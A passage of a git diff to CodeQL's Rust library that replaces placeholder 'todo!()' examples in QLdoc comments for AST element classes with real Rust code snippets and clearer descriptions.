* The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends Generated::NeverTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll index 297b7f26fad5..c0b914c1e3ca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParamList module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends Generated::ParamList { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index 42490c5c1cf3..e86589b60405 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll index a4c6873f214d..f6fa342e8f93 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends Generated::ParenPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll index 98a4ae9b31cd..c96bae09eeb3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends Generated::ParenTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll index ce1cc7e1b3da..b6b41caea7a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenthesizedArgListImpl.qll @@ -12,5 +12,19 @@ private import codeql.rust.elements.internal.generated.ParenthesizedArgList * be referenced directly. */ module Impl { + /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ class ParenthesizedArgList extends Generated::ParenthesizedArgList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll index 84cb37fcf610..42c32802bc2c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathSegmentImpl.qll @@ -14,6 +14,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends Generated::PathSegment { override string toStringImpl() { result = this.toAbbreviatedString() } diff --git a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll index cadb690afe86..599a2a753be1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PathTypeReprImpl.qll @@ -13,10 +13,10 @@ private import codeql.rust.elements.internal.generated.PathTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ class PathTypeRepr extends Generated::PathTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll index c204a22a4ee9..3e8c80ba0ea4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.PtrTypeRepr */ module Impl { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends Generated::PtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll index 2770b12e9e53..334d223a42cf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefTypeReprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.RefTypeRepr */ module Impl { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends Generated::RefTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll index 99aead7ffaad..1788cf98c254 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RenameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Rename */ module Impl { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends Generated::Rename { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll index e0fd26aae805..376ea98f22c0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RestPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends Generated::RestPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll index 4271ec0f7799..e7f9c48869d3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RetTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.RetTypeRepr */ module Impl { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends Generated::RetTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll index 3ecfd51816c6..ffb09d726ab9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ReturnTypeSyntaxImpl.qll @@ -13,9 +13,22 @@ private import codeql.rust.elements.internal.generated.ReturnTypeSyntax */ module Impl { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends Generated::ReturnTypeSyntax { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll index 4acc2f6aa0a0..3c17ad922a6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SliceTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SliceTypeRepr */ module Impl { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends Generated::SliceTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll index 38acafaacf4d..7be1e405ddfe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/SourceFileImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.SourceFile */ module Impl { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends Generated::SourceFile { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll index 69cad71522bf..53042411bca4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StaticImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Static */ module Impl { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends Generated::Static { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll index 8bb9fb3ea0e7..85940ef7d21c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StmtListImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.StmtList */ module Impl { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends Generated::StmtList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll index c86a488d215d..b4197e55885d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructExprFieldList */ module Impl { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends Generated::StructExprFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll index 9b590f0d2183..4ed4466c2d90 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends Generated::StructField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll index 8626d38e0580..a6a16d430c21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructFieldList */ module Impl { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends Generated::StructFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll index 9f8888d3b6e3..157ffe0b034c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll @@ -16,7 +16,10 @@ module Impl { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends Generated::Struct { diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll index 629406bd118d..a2a078a5bf33 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.StructPatFieldList */ module Impl { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends Generated::StructPatFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll index 111613deac3f..c785371f999d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TokenTreeImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.TokenTree */ module Impl { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends Generated::TokenTree { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll index 560714839286..c11516896b47 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TraitAliasImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.TraitAlias */ module Impl { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends Generated::TraitAlias { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll index be694161dc70..0eaa4462ea70 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TryExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TryExpr */ module Impl { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends Generated::TryExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll index d777d5b217b2..05d799b60475 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends Generated::TupleField { diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll index 1065853b735a..3b5964693f3e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleFieldListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleFieldList */ module Impl { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends Generated::TupleFieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll index c0ac7550920a..47b18d2aca95 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TupleTypeRepr */ module Impl { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends Generated::TupleTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll index f48c2c50dbe5..616bc8e5af5c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeArg */ module Impl { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends Generated::TypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll index fea226dd7425..c4b70217db2a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBound */ module Impl { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends Generated::TypeBound { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll index bbd38ee7371c..1b6fd0e64fed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBoundList */ module Impl { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends Generated::TypeBoundList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll index 8358afe24296..34af89b587b5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends Generated::TypeParam { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll index a99b1a7574c1..17551c4834ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Union module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends Generated::Union { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll index c2b158eeca06..d8f1ed985f31 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.UseBoundGenericArgs * be referenced directly. */ module Impl { + /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ class UseBoundGenericArgs extends Generated::UseBoundGenericArgs { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 7b99c609a464..a5baa18b81c0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -13,9 +13,9 @@ private import codeql.rust.elements.internal.generated.Use module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends Generated::Use { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 7e917268a726..6b42cb6fa894 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index eb4689c663dd..dff1bb12233d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.UseTreeList */ module Impl { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll index 8af1d05edba0..d6b25b21e289 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll @@ -14,9 +14,12 @@ private import codeql.rust.elements.internal.generated.Variant module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends Generated::Variant { diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll index deff6d7d196d..2537307d34e1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.VariantList */ module Impl { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends Generated::VariantList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 0e7f79cd243e..356d3f11d041 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Visibility */ module Impl { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends Generated::Visibility { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll index 40f01ae51cc8..aa916bbee56f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WhereClause */ module Impl { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends Generated::WhereClause { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll index 386a864eaf07..9f77b9c3c69d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WherePred */ module Impl { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends Generated::WherePred { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll index e41b6a684a1e..7271abca089f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.WhileExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends Generated::WhileExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll index f16f5ae4b312..0f1089c4284a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Abi` class directly. * Use the subclass `Abi`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll index cd5334aedded..c75d722e7938 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArgList` class directly. * Use the subclass `ArgList`, where the following predicates are available. diff --git 